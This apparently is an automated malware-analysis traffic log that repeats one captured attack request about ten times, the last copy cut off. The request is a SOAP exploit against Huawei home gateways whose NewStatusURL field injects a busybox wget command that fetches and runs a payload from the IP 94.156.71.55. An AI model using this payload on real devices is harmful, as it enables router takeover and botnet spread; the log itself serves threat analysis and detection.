Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 